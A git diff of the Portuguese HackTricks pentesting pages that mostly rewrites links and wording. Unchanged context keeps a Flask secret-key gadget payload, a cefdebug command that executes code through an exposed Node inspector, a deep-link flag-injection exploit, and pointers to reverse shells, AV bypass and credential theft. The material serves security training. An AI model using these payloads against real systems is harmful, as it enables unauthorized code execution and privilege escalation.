-**Encontre um** [**guia**](../pentesting-network/) **sobre como escanear hosts.**
+**Encontre um** [**guia**](../pentesting-network/index.html) **sobre como escanear hosts.**
 
 ## Caça a servidores web
 
 > Encontramos todas as empresas e seus ativos e sabemos os intervalos de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
 
-Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento dos IPs e domínios descobertos**, então você pode já ter **encontrado todos os possíveis servidores web**. No entanto, se você não encontrou, agora vamos ver algumas **dicas rápidas para procurar servidores web** dentro do escopo.
+Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento dos IPs e domínios descobertos**, então você pode já ter **encontrado todos os possíveis servidores web**. No entanto, se você não encontrou, agora vamos ver alguns **truques rápidos para procurar servidores web** dentro do escopo.
 
 Por favor, note que isso será **orientado para descoberta de aplicativos web**, então você deve **realizar a varredura de vulnerabilidades** e **varredura de portas** também (**se permitido** pelo escopo).
 
@@ -592,9 +592,9 @@ Existem também serviços gratuitos que permitem que você **escaneie repositór
 
 - [**Snyk**](https://app.snyk.io/)
 
-## [**Metodologia de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
+## [**Metodologia de Pentesting Web**](../../network-services-pentesting/pentesting-web/index.html)
 
-A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então, neste ponto, eu gostaria de falar sobre uma **metodologia de teste de aplicações web**, e você pode [**encontrar essas informações aqui**](../../network-services-pentesting/pentesting-web/).
+A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então, neste ponto, eu gostaria de falar sobre uma **metodologia de teste de aplicações web**, e você pode [**encontrar essas informações aqui**](../../network-services-pentesting/pentesting-web/index.html).
 
 Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de Código Aberto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.**
 

src/generic-methodologies-and-resources/pentesting-methodology.md

@@ -2,24 +2,25 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
+
 ## Metodologia de Pentesting
 
 <figure><img src="../images/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
 
-_Logos do Hacktricks desenhados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+_Logos do Hacktricks projetados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
 
 ### 0- Ataques Físicos
 
 Você tem **acesso físico** à máquina que deseja atacar? Você deve ler alguns [**truques sobre ataques físicos**](../hardware-physical-access/physical-attacks.md) e outros sobre [**escapando de aplicações GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
 
-### 1 - [Descobrindo hosts dentro da rede](pentesting-network/index.html#discovering-hosts)/ [Descobrindo Ativos da empresa](external-recon-methodology/)
+### 1 - [Descobrindo hosts dentro da rede](pentesting-network/index.html#discovering-hosts)/ [Descobrindo Ativos da empresa](external-recon-methodology/index.html)
 
 **Dependendo** se o **teste** que você está realizando é um **teste interno ou externo**, você pode estar interessado em encontrar **hosts dentro da rede da empresa** (teste interno) ou **encontrar ativos da empresa na internet** (teste externo).
 
 > [!NOTE]
 > Note que se você estiver realizando um teste externo, uma vez que conseguir obter acesso à rede interna da empresa, você deve reiniciar este guia.
 
-### **2-** [**Divertindo-se com a rede**](pentesting-network/) **(Interno)**
+### **2-** [**Divertindo-se com a rede**](pentesting-network/index.html) **(Interno)**
 
 **Esta seção se aplica apenas se você estiver realizando um teste interno.**\
 Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **da rede** ou **snifar** alguns **dados** para aprender **passivamente/ativamente (MitM)** o que você pode encontrar dentro da rede. Você pode ler [**Pentesting Network**](pentesting-network/index.html#sniffing).
@@ -30,18 +31,18 @@ A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber qu
 
 ### **4-** [Procurando exploits de versão de serviço](../generic-hacking/search-exploits.md)
 
-Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit que lhe dê um shell...
+Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit para lhe dar um shell...
 
 ### **5-** Serviços de Pentesting
 
 Se não houver nenhum exploit interessante para qualquer serviço em execução, você deve procurar por **configurações incorretas comuns em cada serviço em execução.**
 
-**Dentro deste livro você encontrará um guia para pentestear os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure na indexação à esquerda a seção _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).**
+**Dentro deste livro você encontrará um guia para pentestar os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).**
 
-**Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(pois é a mais extensa).**\
+**Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(já que é a mais extensa).**\
 Além disso, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](../generic-hacking/search-exploits.md) pode ser encontrado aqui.
 
-**Se o seu serviço não estiver na indexação, procure no Google** por outros tutoriais e **me avise se você quiser que eu adicione.** Se você **não conseguir encontrar nada** no Google, realize seu **próprio pentesting cego**, você pode começar por **conectar-se ao serviço, fuzzing e lendo as respostas** (se houver).
+**Se o seu serviço não estiver no índice, procure no Google** por outros tutoriais e **me avise se você quiser que eu adicione.** Se você **não conseguir encontrar nada** no Google, realize seu **próprio pentesting cego**, você pode começar por **conectar-se ao serviço, fuzzing e lendo as respostas** (se houver).
 
 #### 5.1 Ferramentas Automáticas
 
@@ -51,13 +52,13 @@ Existem também várias ferramentas que podem realizar **avaliações automátic
 
 Em alguns cenários, uma **Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma CheatSheet de diferentes serviços de força bruta**](../generic-hacking/brute-force.md)**.**
 
-### 6- [Phishing](phishing-methodology/)
+### 6- [Phishing](phishing-methodology/index.html)
 
-Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, você **pode precisar tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):
+Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, você **pode precisar tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/index.html):
 
-### **7-** [**Obtendo Shell**](../generic-hacking/reverse-shells/)
+### **7-** [**Obtendo Shell**](../generic-hacking/reverse-shells/index.html)
 
-De alguma forma, você deve ter encontrado **alguma maneira de executar código** na vítima. Então, [uma lista de possíveis ferramentas dentro do sistema que você pode usar para obter um shell reverso seria muito útil](../generic-hacking/reverse-shells/).
+De alguma forma, você deve ter encontrado **alguma maneira de executar código** na vítima. Então, [uma lista de possíveis ferramentas dentro do sistema que você pode usar para obter um shell reverso seria muito útil](../generic-hacking/reverse-shells/index.html).
 
 Especialmente no Windows, você pode precisar de ajuda para **evitar antivírus**: [**Verifique esta página**](../windows-hardening/av-bypass.md)**.**\\
 
@@ -67,7 +68,7 @@ Se você tiver problemas com o shell, pode encontrar aqui uma pequena **compila
 
 - [**Linux**](../linux-hardening/useful-linux-commands.md)
 - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
-- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
+- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
 
 ### **9 -** [**Exfiltração**](../generic-hacking/exfiltration.md)
 
@@ -77,20 +78,20 @@ Você provavelmente precisará **extrair alguns dados da vítima** ou até mesmo
 
 #### **10.1- Privesc Local**
 
-Se você **não for root/Administrador** dentro da máquina, você deve encontrar uma maneira de **escalar privilégios.**\
-Aqui você pode encontrar um **guia para escalar privilégios localmente em** [**Linux**](../linux-hardening/privilege-escalation/) **e em** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
+Se você **não for root/Administrador** dentro da máquina, deve encontrar uma maneira de **escalar privilégios.**\
+Aqui você pode encontrar um **guia para escalar privilégios localmente em** [**Linux**](../linux-hardening/privilege-escalation/index.html) **e em** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
 Você também deve verificar estas páginas sobre como **Windows funciona**:
 
-- [**Autenticação, Credenciais, Privilégios de Token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-- Como [**NTLM funciona**](../windows-hardening/ntlm/)
+- [**Autenticação, Credenciais, Privilégios de Token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
+- Como [**NTLM funciona**](../windows-hardening/ntlm/index.html)
 - Como [**roubar credenciais**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) no Windows
-- Alguns truques sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
+- Alguns truques sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
 
-**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalonamento de Privilégios locais no Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
+**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalonamento de Privilégios local em Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 
 #### **10.2- Privesc de Domínio**
 
-Aqui você pode encontrar uma [**metodologia explicando as ações mais comuns para enumerar, escalar privilégios e persistir em um Active Directory**](../windows-hardening/active-directory-methodology/). Mesmo que esta seja apenas uma subseção de uma seção, esse processo pode ser **extremamente delicado** em uma atribuição de Pentesting/Red Team.
+Aqui você pode encontrar uma [**metodologia explicando as ações mais comuns para enumerar, escalar privilégios e persistir em um Active Directory**](../windows-hardening/active-directory-methodology/index.html). Mesmo que esta seja apenas uma subseção de uma seção, esse processo pode ser **extremamente delicado** em uma atribuição de Pentesting/Red Team.
 
 ### 11 - POST
 
@@ -102,7 +103,7 @@ Encontre aqui diferentes maneiras de [**extrair senhas no Windows**](https://git
 #### 11.2 - Persistência
 
 **Use 2 ou 3 tipos diferentes de mecanismos de persistência para que você não precise explorar o sistema novamente.**\
-**Aqui você pode encontrar alguns** [**truques de persistência no Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
+**Aqui você pode encontrar alguns** [**truques de persistência em active directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
 
 TODO: Completar persistência Post em Windows & Linux
 
@@ -110,20 +111,20 @@ TODO: Completar persistência Post em Windows & Linux
 
 Com as **credenciais coletadas**, você pode ter acesso a outras máquinas, ou talvez precise **descobrir e escanear novos hosts** (iniciar a Metodologia de Pentesting novamente) dentro de novas redes onde sua vítima está conectada.\
 Nesse caso, o tunelamento pode ser necessário. Aqui você pode encontrar [**um post falando sobre tunelamento**](../generic-hacking/tunneling-and-port-forwarding.md).\
-Você definitivamente também deve verificar o post sobre [Metodologia de pentesting do Active Directory](../windows-hardening/active-directory-methodology/). Lá você encontrará truques legais para se mover lateralmente, escalar privilégios e extrair credenciais.\
-Verifique também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser muito útil para pivotar em ambientes Windows.
+Você definitivamente também deve verificar o post sobre [Metodologia de pentesting do Active Directory](../windows-hardening/active-directory-methodology/index.html). Lá você encontrará truques legais para se mover lateralmente, escalar privilégios e extrair credenciais.\
+Verifique também a página sobre [**NTLM**](../windows-hardening/ntlm/index.html), pode ser muito útil para pivotar em ambientes Windows.
 
 ### MAIS
 
-#### [Aplicações Android](../mobile-pentesting/android-app-pentesting/)
+#### [Aplicações Android](../mobile-pentesting/android-app-pentesting/index.html)
 
-#### **Exploiting**
+#### **Exploração**
 
-- [**Exploiting Básico em Linux**](broken-reference/)
-- [**Exploiting Básico em Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Ferramentas básicas de exploiting**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
+- [**Exploração Básica em Linux**](broken-reference/index.html)
+- [**Exploração Básica em Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
+- [**Ferramentas básicas de exploração**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
 
-#### [**Python Básico**](python/)
+#### [**Python Básico**](python/index.html)
 
 #### **Truques de Cripto**
 
@@ -131,4 +132,5 @@ Verifique também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode s
 - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
 - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
 
+
 {{#include ../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/README.md

@@ -4,10 +4,10 @@
 
 **Páginas interessantes para conferir:**
 
-- [**Truques de hacking com Pyscript**](pyscript.md)
+- [**Truques de hacking do Pyscript**](pyscript.md)
 - [**Deserializações em Python**](../../pentesting-web/deserialization/index.html#python)
-- [**Truques para contornar sandboxes em Python**](bypass-python-sandboxes/)
+- [**Truques para contornar sandboxes do Python**](bypass-python-sandboxes/index.html)
 - [**Sintaxe básica de requisições web em Python**](web-requests.md)
-- [**Sintaxe e bibliotecas básicas de Python**](basic-python.md)
+- [**Sintaxe e bibliotecas básicas do Python**](basic-python.md)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md

@@ -13,9 +13,9 @@ A página principal de uma aplicação Flask provavelmente terá o objeto global
 app = Flask(__name__, template_folder='templates')
 app.secret_key = '(:secret:)'
 ```
-Neste caso, é possível acessar este objeto apenas usando qualquer gadget para **acessar objetos globais** da [**página de Bypass Python sandboxes**](bypass-python-sandboxes/).
+Neste caso, é possível acessar este objeto apenas usando qualquer gadget para **acessar objetos globais** da [**página de Bypass Python sandboxes**](bypass-python-sandboxes/index.html).
 
-No caso em que **a vulnerabilidade está em um arquivo python diferente**, você precisa de um gadget para percorrer arquivos para chegar ao principal e **acessar o objeto global `app.secret_key`** para mudar a chave secreta do Flask e poder [**escalar privilégios** conhecendo esta chave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
+No caso em que **a vulnerabilidade está em um arquivo python diferente**, você precisa de um gadget para percorrer arquivos até chegar ao principal para **acessar o objeto global `app.secret_key`** para mudar a chave secreta do Flask e poder [**escalar privilégios** conhecendo esta chave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
 
 Um payload como este [deste writeup](https://ctftime.org/writeup/36082):
 ```python
@@ -31,7 +31,7 @@ Use este payload para **mudar `app.secret_key`** (o nome no seu app pode ser dif
 {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
 ```
 > [!WARNING]
-> Note que você pode obter o **caminho local do servidor para o `app.py`** gerando algum **erro** na página da web que irá **te dar o caminho**.
+> Note que você pode obter o **caminho local do servidor para o `app.py`** gerando algum **erro** na página da web que **te dará o caminho**.
 
 Se a vulnerabilidade estiver em um arquivo python diferente, verifique o truque Flask anterior para acessar os objetos do arquivo python principal.
 

src/linux-hardening/linux-privilege-escalation-checklist.md

@@ -15,10 +15,10 @@
 - [ ] Mais enumeração do sistema ([data, estatísticas do sistema, informações da CPU, impressoras](privilege-escalation/index.html#more-system-enumeration))
 - [ ] [Enumerar mais defesas](privilege-escalation/index.html#enumerate-possible-defenses)
 
-### [Unidades](privilege-escalation/index.html#drives)
+### [Discos](privilege-escalation/index.html#drives)
 
-- [ ] **Listar unidades** montadas
-- [ ] **Alguma unidade não montada?**
+- [ ] **Listar discos montados**
+- [ ] **Algum disco não montado?**
 - [ ] **Algumas credenciais no fstab?**
 
 ### [**Software Instalado**](privilege-escalation/index.html#installed-software)
@@ -28,8 +28,8 @@
 
 ### [Processos](privilege-escalation/index.html#processes)
 
-- [ ] Algum **software desconhecido está em execução**?
-- [ ] Algum software está em execução com **mais privilégios do que deveria ter**?
+- [ ] Algum **software desconhecido em execução**?
+- [ ] Algum software em execução com **mais privilégios do que deveria ter**?
 - [ ] Procurar por **explorações de processos em execução** (especialmente a versão em execução).
 - [ ] Você pode **modificar o binário** de algum processo em execução?
 - [ ] **Monitorar processos** e verificar se algum processo interessante está sendo executado com frequência.
@@ -50,7 +50,7 @@
 
 ### [Tempos](privilege-escalation/index.html#timers)
 
-- [ ] Algum **timer gravável**?
+- [ ] Algum **temporizador gravável**?
 
 ### [Sockets](privilege-escalation/index.html#sockets)
 
@@ -72,7 +72,7 @@
 
 - [ ] Enumeração de usuários/grupos **genéricos**
 - [ ] Você tem um **UID muito grande**? A **máquina** é **vulnerável**?
-- [ ] Você pode [**escalar privilégios graças a um grupo**](privilege-escalation/interesting-groups-linux-pe/) ao qual pertence?
+- [ ] Você pode [**escalar privilégios graças a um grupo**](privilege-escalation/interesting-groups-linux-pe/index.html) ao qual pertence?
 - [ ] Dados da **Área de Transferência**?
 - [ ] Política de Senhas?
 - [ ] Tente **usar** cada **senha conhecida** que você descobriu anteriormente para fazer login **com cada** possível **usuário**. Tente fazer login também sem uma senha.
@@ -86,14 +86,14 @@
 - [ ] Você pode executar **qualquer comando com sudo**? Você pode usá-lo para LER, ESCREVER ou EXECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io))
 - [ ] Algum **binário SUID explorável**? ([**GTFOBins**](https://gtfobins.github.io))
 - [ ] Os [**comandos sudo** são **limitados** por **path**? você pode **contornar** as restrições](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
-- [ ] [**Binário Sudo/SUID sem path indicado**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
-- [ ] [**Binário SUID especificando path**](privilege-escalation/index.html#suid-binary-with-command-path)? Contornar
-- [ ] [**Vuln LD_PRELOAD**](privilege-escalation/index.html#ld_preload)
+- [ ] [**Binário Sudo/SUID sem caminho indicado**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
+- [ ] [**Binário SUID especificando caminho**](privilege-escalation/index.html#suid-binary-with-command-path)? Contornar
+- [ ] [**Vulnerabilidade LD_PRELOAD**](privilege-escalation/index.html#ld_preload)
 - [ ] [**Falta de biblioteca .so em binário SUID**](privilege-escalation/index.html#suid-binary-so-injection) de uma pasta gravável?
 - [ ] [**Tokens SUDO disponíveis**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Você pode criar um token SUDO**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
 - [ ] Você pode [**ler ou modificar arquivos sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)?
 - [ ] Você pode [**modificar /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d)?
-- [ ] Comando [**OpenBSD DOAS**](privilege-escalation/index.html#doas)
+- [ ] [**Comando OpenBSD DOAS**](privilege-escalation/index.html#doas)
 
 ### [Capacidades](privilege-escalation/index.html#capabilities)
 
@@ -121,9 +121,9 @@
 - [ ] **Localização Estranha/Arquivos de Propriedade,** você pode ter acesso ou alterar arquivos executáveis
 - [ ] **Modificado** nos últimos minutos
 - [ ] **Arquivos de DB Sqlite**
-- [ ] **Arquivos Ocultos**
+- [ ] **Arquivos ocultos**
 - [ ] **Scripts/Binários no PATH**
-- [ ] **Arquivos Web** (senhas?)
+- [ ] **Arquivos da Web** (senhas?)
 - [ ] **Backups**?
 - [ ] **Arquivos conhecidos que contêm senhas**: Use **Linpeas** e **LaZagne**
 - [ ] **Busca genérica**

src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md

@@ -1,12 +1,12 @@
-# Abuso do depurador Node/CEF
+# Abuso do depurador Node inspector/CEF
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Informações Básicas
 
-[Dos docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Quando iniciado com o switch `--inspect`, um processo Node.js escuta por um cliente de depuração. Por **padrão**, ele escutará no host e porta **`127.0.0.1:9229`**. Cada processo também é atribuído um **UUID** **único**.
+[Dos docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Quando iniciado com a opção `--inspect`, um processo Node.js escuta por um cliente de depuração. Por **padrão**, ele escutará no host e porta **`127.0.0.1:9229`**. Cada processo também é atribuído um **UUID** **único**.
 
-Os clientes do Inspector devem conhecer e especificar o endereço do host, a porta e o UUID para se conectar. Uma URL completa parecerá algo como `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
+Os clientes do Inspector devem conhecer e especificar o endereço do host, a porta e o UUID para se conectar. Uma URL completa se parecerá com `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
 
 > [!WARNING]
 > Como o **depurador tem acesso total ao ambiente de execução do Node.js**, um ator malicioso capaz de se conectar a esta porta pode ser capaz de executar código arbitrário em nome do processo Node.js (**potencial escalonamento de privilégios**).
@@ -27,7 +27,7 @@ Quando você inicia um processo inspecionado, algo como isto aparecerá:
 Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
 For help, see: https://nodejs.org/en/docs/inspector
 ```
-Processos baseados em **CEF** (**Chromium Embedded Framework**) precisam usar o parâmetro: `--remote-debugging-port=9222` para abrir o **debugger** (as proteções SSRF permanecem muito semelhantes). No entanto, eles **em vez disso** de conceder uma sessão de **debug** **NodeJS** se comunicarão com o navegador usando o [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), esta é uma interface para controlar o navegador, mas não há um RCE direto.
+Processos baseados em **CEF** (**Chromium Embedded Framework**) precisam usar o parâmetro: `--remote-debugging-port=9222` para abrir o **debugger** (as proteções SSRF permanecem muito semelhantes). No entanto, eles **em vez disso** de conceder uma sessão de **debug** do **NodeJS** se comunicarão com o navegador usando o [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), que é uma interface para controlar o navegador, mas não há um RCE direto.
 
 Quando você inicia um navegador em modo de depuração, algo assim aparecerá:
 ```
@@ -35,10 +35,10 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4
 ```
 ### Browsers, WebSockets e política de mesma origem <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
 
-Sites abertos em um navegador da web podem fazer solicitações WebSocket e HTTP sob o modelo de segurança do navegador. Uma **conexão HTTP inicial** é necessária para **obter um id de sessão de depuração único**. A **política de mesma origem** **impede** que sites consigam fazer **essa conexão HTTP**. Para segurança adicional contra [**ataques de reatribuição de DNS**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** o Node.js verifica se os **'Host' headers** para a conexão especificam um **endereço IP** ou **`localhost`** ou **`localhost6`** precisamente.
+Sites abertos em um navegador da web podem fazer solicitações WebSocket e HTTP sob o modelo de segurança do navegador. Uma **conexão HTTP inicial** é necessária para **obter um id de sessão de depuração exclusivo**. A **política de mesma origem** **impede** que sites consigam fazer **essa conexão HTTP**. Para segurança adicional contra [**ataques de reatribuição de DNS**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** o Node.js verifica se os **'Host' headers** para a conexão especificam um **endereço IP** ou **`localhost`** ou **`localhost6`** precisamente.
 
 > [!NOTE]
-> Essas **medidas de segurança impedem a exploração do inspetor** para executar código **apenas enviando uma solicitação HTTP** (o que poderia ser feito explorando uma vulnerabilidade SSRF).
+> Essas **medidas de segurança impedem a exploração do inspetor** para executar código apenas **enviando uma solicitação HTTP** (o que poderia ser feito explorando uma vulnerabilidade SSRF).
 
 ### Iniciando o inspetor em processos em execução
 
@@ -73,12 +73,12 @@ A ferramenta [**https://github.com/taviso/cefdebug**](https://github.com/taviso/
 ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
 ```
 > [!NOTE]
-> Note que **explorações de RCE do NodeJS não funcionarão** se conectadas a um navegador via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (você precisa verificar a API para encontrar coisas interessantes para fazer com isso).
+> Note que **explorações RCE do NodeJS não funcionarão** se conectadas a um navegador via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (você precisa verificar a API para encontrar coisas interessantes para fazer com isso).
 
 ## RCE no Depurador/Inspector do NodeJS
 
 > [!NOTE]
-> Se você veio aqui procurando como obter [**RCE a partir de um XSS no Electron, por favor, verifique esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
+> Se você veio aqui procurando como obter [**RCE a partir de um XSS no Electron, por favor, verifique esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
 
 Algumas maneiras comuns de obter **RCE** quando você pode **conectar** a um **inspector** do Node é usando algo como (parece que isso **não funcionará em uma conexão com o protocolo Chrome DevTools**):
 ```javascript
@@ -94,7 +94,7 @@ Nesta seção, vou apenas listar coisas interessantes que encontrei que as pesso
 
 ### Injeção de Parâmetros via Deep Links
 
-No [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), a segurança da Rhino descobriu que um aplicativo baseado em CEF **registrou um URI personalizado** no sistema (workspaces://) que recebia o URI completo e então **iniciava o aplicativo baseado em CEF** com uma configuração que estava parcialmente construída a partir desse URI.
+No [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), a Rhino Security descobriu que um aplicativo baseado em CEF **registrou um URI personalizado** no sistema (workspaces://index.html) que recebia o URI completo e então **iniciava o aplicativo baseado em CEF** com uma configuração que era parcialmente construída a partir desse URI.
 
 Foi descoberto que os parâmetros do URI eram decodificados em URL e usados para iniciar o aplicativo básico do CEF, permitindo que um usuário **injetasse** a flag **`--gpu-launcher`** na **linha de comando** e executasse coisas arbitrárias.
 

src/macos-hardening/macos-security-and-privilege-escalation/README.md

@@ -95,7 +95,7 @@ Portanto, um atacante que deseja comprometer com sucesso uma máquina macOS prec
 
 Esses privilégios geralmente são concedidos na forma de **direitos** com os quais o aplicativo é assinado, ou o aplicativo pode solicitar alguns acessos e, após o **usuário aprová-los**, eles podem ser encontrados nos **bancos de dados TCC**. Outra maneira de um processo obter esses privilégios é sendo um **filho de um processo** com esses **privilégios**, pois eles geralmente são **herdados**.
 
-Siga esses links para encontrar diferentes maneiras de [**escalar privilégios no TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**burlar o TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e como no passado [**o SIP foi burlado**](macos-security-protections/macos-sip.md#sip-bypasses).
+Siga esses links para encontrar diferentes maneiras de [**escalar privilégios no TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**burlar o TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) e como no passado [**o SIP foi burlado**](macos-security-protections/macos-sip.md#sip-bypasses).
 
 ## Escalação Tradicional de Privilégios no macOS
 
@@ -111,7 +111,7 @@ macos-privilege-escalation.md
 
 ## Referências
 
-- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
+- [**Resposta a Incidentes do OS X: Scripting e Análise**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
 - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
 - [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
 - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md

@@ -3,66 +3,66 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> Note que os direitos que começam com **`com.apple`** não estão disponíveis para terceiros, apenas a Apple pode concedê-los.
+> Note que as permissões que começam com **`com.apple`** não estão disponíveis para terceiros, apenas a Apple pode concedê-las.
 
 ## Alto
 
 ### `com.apple.rootless.install.heritable`
 
-O direito **`com.apple.rootless.install.heritable`** permite **burlar o SIP**. Confira [isso para mais informações](macos-sip.md#com.apple.rootless.install.heritable).
+A permissão **`com.apple.rootless.install.heritable`** permite **contornar o SIP**. Confira [isso para mais informações](macos-sip.md#com.apple.rootless.install.heritable).
 
 ### **`com.apple.rootless.install`**
 
-O direito **`com.apple.rootless.install`** permite **burlar o SIP**. Confira [isso para mais informações](macos-sip.md#com.apple.rootless.install).
+A permissão **`com.apple.rootless.install`** permite **contornar o SIP**. Confira [isso para mais informações](macos-sip.md#com.apple.rootless.install).
 
-### **`com.apple.system-task-ports` (anteriormente chamado `task_for_pid-allow`)**
+### **`com.apple.system-task-ports` (anteriormente chamada `task_for_pid-allow`)**
 
-Este direito permite obter o **port de tarefa para qualquer** processo, exceto o kernel. Confira [**isso para mais informações**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Essa permissão permite obter o **port de tarefa para qualquer** processo, exceto o kernel. Confira [**isso para mais informações**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.get-task-allow`
 
-Este direito permite que outros processos com o direito **`com.apple.security.cs.debugger`** obtenham o port de tarefa do processo executado pelo binário com este direito e **injete código nele**. Confira [**isso para mais informações**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
